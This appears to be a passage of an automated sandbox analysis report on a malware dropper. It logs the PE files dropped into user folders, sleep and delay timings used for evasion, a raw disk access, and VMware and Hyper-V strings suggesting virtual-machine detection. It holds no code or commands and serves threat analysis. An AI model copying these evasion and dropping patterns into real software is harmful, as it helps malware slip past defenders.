Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\crt[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\7uuYOubuRuTeu2Z5aoCcHRqr.exe	Jump to dropped file
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\bash.exe	Jump to dropped file
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\notepad.exe	Jump to dropped file
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\360TS_Setup.exe.P2P	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\1j9R8lifNJQPOos8jChy96bC.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\8uJfLKd9Ss22grd4NZfs8ESc.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\setup[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\sCKRGnz9ufcbydLPdvMHEgfk.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oiii[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\auditpol.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Default15_s[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\Vv3eq95tJE23PC8aGlGuTOwU.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\setup294[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\0xzSXfvcS_VEarTqOdaPs4ts.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\o2i3jroi23joj23ikrjokij3oroi[1].exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ED0F.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\949yVhltZoP9AEITjUlYclGY.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\3jK_1xVb8VV_A9ZblPqH0VLP.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\OZYSp_SuS64TdEhCce9XJabD.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\iWX2pBM7OP8AKRlxpYxKCjxp.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\JJ5skLlHHCJQmKA3fqFEF8WX.exe	Jump to dropped file
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\atieah64.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\Dwkvj_9aXUK5SRV0uUMfzWFw.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Retailer_prog[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\rKeuCT5BtcDJi3xnRhdYBXJ0.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\timeSync[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\xCrl2X_yjihZJLjlfNXcaGsm.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\Documents\SimpleAdobe\GLt6qc3E5xlMIXJ9xyvvME0a.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\niko[1].exe	Jump to dropped file
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\{F0567900-3BBD-4439-A130-BA90A759BDE5}.tmp\360P2SP.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FFE8.exe	Jump to dropped file
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\123p[1].exe	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5796	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7188	Thread sleep count: 3982 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -599889s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7188	Thread sleep count: 5750 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -599775s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -599450s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -599336s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -599124s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -598789s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -598527s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -598420s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -598312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -598093s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -597982s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -597875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -597765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -597656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -597547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -597437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -597328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -597218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -597109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -596926s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -596757s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -596655s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -596529s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -596265s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -596122s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -596000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -595890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -595781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -595669s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -595562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -595453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -595343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -595234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -595118s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -595013s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7132	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -594906s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -594787s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -594655s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -594544s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -594437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -594265s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -594108s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -594000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -593885s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5448	Thread sleep time: -593781s >= -30000s	Jump to behavior
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe TID: 8652	Thread sleep count: 298 > 30
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe TID: 8652	Thread sleep time: -59600s >= -30000s
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe TID: 7988	Thread sleep time: -300000s >= -30000s
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe TID: 8696	Thread sleep time: -300000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7940	Thread sleep count: 1593 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7940	Thread sleep count: 103 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8096	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8384	Thread sleep count: 423 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8636	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8540	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	File Volume queried: C:\Users\user\Desktop FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\Windows\System32 FullSizeInformation

Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: 18_2_0040553A FindFirstFileA,		18_2_0040553A
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: 18_2_004055DE __EH_prolog,FindFirstFileW,AreFileApisANSI,FindFirstFileA,		18_2_004055DE

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe

Code function: 0_2_00007FF7E35824C0 GetSystemInfo,GetNumaHighestNodeNumber,GetCurrentProcess,GetProcessGroupAffinity,GetLastError,GetCurrentProcess,GetProcessAffinityMask,

0_2_00007FF7E35824C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599889	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599775	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599450	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599336	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598789	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598527	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598420	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597982	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596926	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596757	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596655	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596529	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596122	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595669	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595118	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 595013	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594787	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594655	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594544	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594108	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 593885	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 593781	Jump to behavior
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Thread delayed: delay time: 300000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File opened: C:\Users\user~1\
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File opened: C:\Users\user~1\AppData\Local\Temp\
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File opened: C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\Install.exe
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File opened: C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File opened: C:\Users\user~1\AppData\Local\
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	File opened: C:\Users\user~1\AppData\

Source: explorer.exe, 00000024.00000000.1321857063.0000000000C74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000I
Source: explorer.exe, 00000024.00000000.1419179675.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: BBSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: svchost.exe, 0000000D.00000002.2762397674.000001B899B32000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware-42
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1315587677.00000000005D0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000000.1419179675.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2789612356.000001F4D86DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000B.00000002.2734633593.000001E0D128C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000024.00000000.1337259714.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.VMW201.00V.20829224.B64.221121184211/21/2022
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1315587677.00000000005D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW7Fup
Source: explorer.exe, 00000024.00000000.1419179675.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
Source: svchost.exe, 0000000B.00000002.2695550884.000001E0D124B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
